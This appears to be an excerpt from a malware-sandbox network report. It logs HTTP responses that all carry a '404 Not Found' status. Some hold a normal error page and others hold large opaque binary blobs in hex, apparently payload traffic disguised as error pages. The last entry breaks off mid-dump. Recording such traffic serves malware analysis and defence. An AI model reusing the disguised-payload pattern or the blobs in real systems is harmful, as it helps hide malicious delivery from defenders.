Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 38 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 d8 5a d5 e4 0f b6 39 bf 29 4a 54 78 e5 76 08 6b 8d 5c 66 28 71 c3 a2 89 b9 e6 21 d0 73 3a 16 35 ff b7 0d 0a 30 0d 0a 0d 0a Data Ascii: 38Uys/~(u:RZ9)JTxvk\f(q!s:50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a f7 fd 3c 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 a9 94 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 80 57 19 e0 28 95 a9 ad 5c f1 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 3d fc 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 62 cc 07 ee c3 ce 55 a3 4c 3d 84 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 90 75 43 cc fd 8b 8b e1 68 79 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 02 00 b4 60 3b d4 0f 1a 40 10 16 30 8f b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 53 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 b3 98 30 06 81 8f f1 83 0e 25 a6 79 5e 5c 51 fb 32 35 47 48 3b fe cc bd 6c 62 ad 5d 6f 38 6d 57 12 73 36 18 28 a6 70 a3 d1 43 36 2f a4 14 0f 85 c2 e7 27 c2 25 7b ba 49 79 b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 15 13 e4 51 a2 d1 24 08 4f c5 03 a1 cb a1 81 7e 50 54 62 b8 1b 0e 7e 17 a4 9a a5 68 d1 a0 c1 b9 dd 7a 35 c4 45 19 e0 3c 95 a9 18 7a fe 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6f a1 c0 4a 9a 03 fd ec 9a aa 7b ac 87 2f bd 61 0d 00 7e bf 46 30 fd f8 1a d6 10 6c 2b 7c 0b 8d c7 fd e4 0e a4 eb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 fb 21 b9 80 ca cc 23 b2 95 02 31 79 72 86 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af c1 37 27 a4 8e b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 71 67 a3 1e 1e 54 ab 1e ce 3a 1a ee c3 de 57 a3 4c 55 8e 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 54 f8 8d f1 99 07 99 8a 69 d9 7f 74 79 30 66 43 cc 87 8b 8b e1 2e 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 df 92 f2 f9 7a 8f f6 6b e3 fc c2 d9 37 00 20 e8 1c c9 20 f5 52 48 4e 31 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 58 58 07 6b ab f6 ae 25 2e 6d b2 ce ec 35 58 c8 a7 0d 8e ca d4 5f a3 48 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 f3 0b 0f bf c5 ac 8b c8 2f bb 05 09 e8 8b d3 15 ac 18 50 77 b3 0e 23 8a 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 1c 6b 93 83 01 ee 43 d9 ed 07 52 44 dc 1a 7e 87 18 57 c1 17 7d 42 9b 8d 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 35 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 15 a8 44 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 67 9b 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 40 54 19 e0 28 95 a9 c3 93 f0 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 7d fe 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 22 08 09 ee c3 ce 55 a3 4c ff 87 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 d0 77 43 cc fd 8b 8b e1 ae 7e d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 3b 00 4b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 cf 9c 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d b0 6f 19 e0 28 95 a9 e6 13 f9 96 bc 25 51 e0 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 2d c4 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 82 b5 0f ee c3 ce 55 a3 4c 2b 8c 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 80 4d 43 cc fd 8b 8b e1 42 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 